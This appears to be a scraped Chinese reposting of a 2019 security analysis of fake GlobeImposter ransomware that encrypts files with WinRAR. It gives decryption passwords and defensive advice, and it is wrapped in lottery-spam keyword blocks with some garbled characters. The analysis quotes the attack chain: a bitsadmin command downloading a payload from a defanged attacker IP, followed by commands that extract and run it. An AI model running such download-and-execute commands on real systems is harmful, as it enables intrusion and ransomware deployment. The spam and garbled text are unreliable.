手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中

WinRAR加密压缩冒充GlobeImposter勒索病毒 安全专家轻松解密

来源:本站整理 作者:佚名 时间:2019-07-03 TAG: 我要投稿

近日,腾讯安全御见威胁情报中心发现假冒GlobeImposter勒索病毒正在传播,攻击者疑通过MS SQL爆破入侵服务器,通过网络下载恶意脚本代码,继而执行加密和勒索流程。
令人惊叹的是,这个所谓的“勒索病毒”执行极为简单,只是利用WinRAR加密压缩用户文件,之后再将一封GlobeImposter的勒索消息邮件修改后恐吓用户,通过邮箱联系索取酬金。腾讯安全提醒大家,如遇到此病毒,不要着急着缴纳赎金。该病毒加密压缩的密码明文写在病毒配置信息中,使用这个密码解压缩,文件就能完全恢复。
分析
被勒索服务器疑似被通过MSSQL爆破入侵成功,之后执行以下相关命令行进一步下载执行恶意代码:
1)bitsadmin  /transfer n hxxp://47.92.55[.]239/s/jr26.rar C:/Progra~1/jr26.rar
2)C:\Windows\system32\cmd.exe /c C:\Progra~1\winrar\rar.exe e -pp.5p C:\Progra~1\jr26.rar
3)C:\Windows\system32\cmd.exe /c C:\Progra~1\jr26.cmd
jr26.rar为一个带密码的压缩包,密码为p.5p

jr26.rar解压后可得到一个疑似乱码的脚本文件

16进制查看可发现貌似多了0xFF 0xFE 0x0D 0x0A,目测应该是以二进制形式写入的标志,导致文本类识别工具无法查看

去掉0xFF 0xFE 0x0D 0x0A后尝试再次打开,脚本内容已可以正常查看

查看脚本内容可知,主要目的为将指定类型的文件根据后缀分类,分别使用winrar进行加密压缩(通过上图的命令?#32961;?#25968;,我们看到加密密码为lll.hc3t6b9s8kz5r26),文件将被压缩至根目录下对应的不同文件名(邮箱.ch_文件后缀类型.随机数字tiger88818)包内,同时删除原始文件。

如下图[email protected]_bax.32419tiger88818包内,则被带密码压缩了所有bak类型的文件

同时,为了防止加密压缩时,数据库文件被?#21152;?#23548;致加密中止,病毒还会结束大量的数据库服务相关进程。

最奇葩的来了,加密文件完成后,病毒会通过远程下载一个勒索?#24471;?#25991;档

打开?#24471;?#25991;档,竟然?#20405;?#21517;勒索病毒GlobeImposter的修改版本,该病毒作者只是修改了联系邮箱。

进一?#28966;?#23519;病毒使用的url可发现攻击者使用的多个文件,分别有勒索?#24471;?#25991;档(HOW_TO_BACK_YOUR_FILE*),勒索脚本包(jr26.rar),正规的winrar压缩模块(Rar.exe),猜测为扫描器相关模块包(带未知密码的s.rar包),且病毒使用服务部署在某知名?#30772;教?#26381;务器上。


腾讯安全提醒大家,针?#28304;?#30149;毒,可以不必着急缴纳赎金,可尝试使用Winrar打开根目录中的*tiger88818后缀文件,然后选择使用密码(lll.hc3t6b9s8kz5r26)解压到指定位置,即可恢复文件。


安全建议
企业用户:
1、尽量关闭不必要的端口,如:445、135,139等,对3389,5900等端口可进行白名单配置,只允许白名单内的IP连接登陆;
2、尽量关闭不必要的文件共享,如?#34892;?#35201;,请使用ACL和强密码保护来限?#21697;?#38382;权限,禁用对共享文件夹的匿名访问;
3、采用高强度的密码,避免使用弱口令密码,并定期更换密码。建议服务器密码使用高强度且无规律密码,并且?#24656;?#35201;求每个服务器使用不同密码管理;
4、对没有互联需求的服务器/工作站内部访问设置相应控制,避免可连外网服务器被攻击后作为跳板进一步攻击其他服务器;
5、对重要文件和数据(数据库等数据)进行定期非本地备份;
6、教育终端用户谨慎下载?#21543;?#37038;件附件,若非必要,应禁止启用Office宏代码;

[1] [2]  下一页

【声明】:黑吧安全网(http://www.rliwo.live)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱[email protected],我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载
        购买彩票权威网址
        手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中
        辽宁十一选五助手 fifa手游球员卡片解释 沙尔克04队徽壁纸 河北十一选五走势图基本走势 麻将机品牌 快乐10分开奖 斯帕尔vsac米兰视频直播 财炮连连客服 南粤36选7好彩3 魔兽世界地图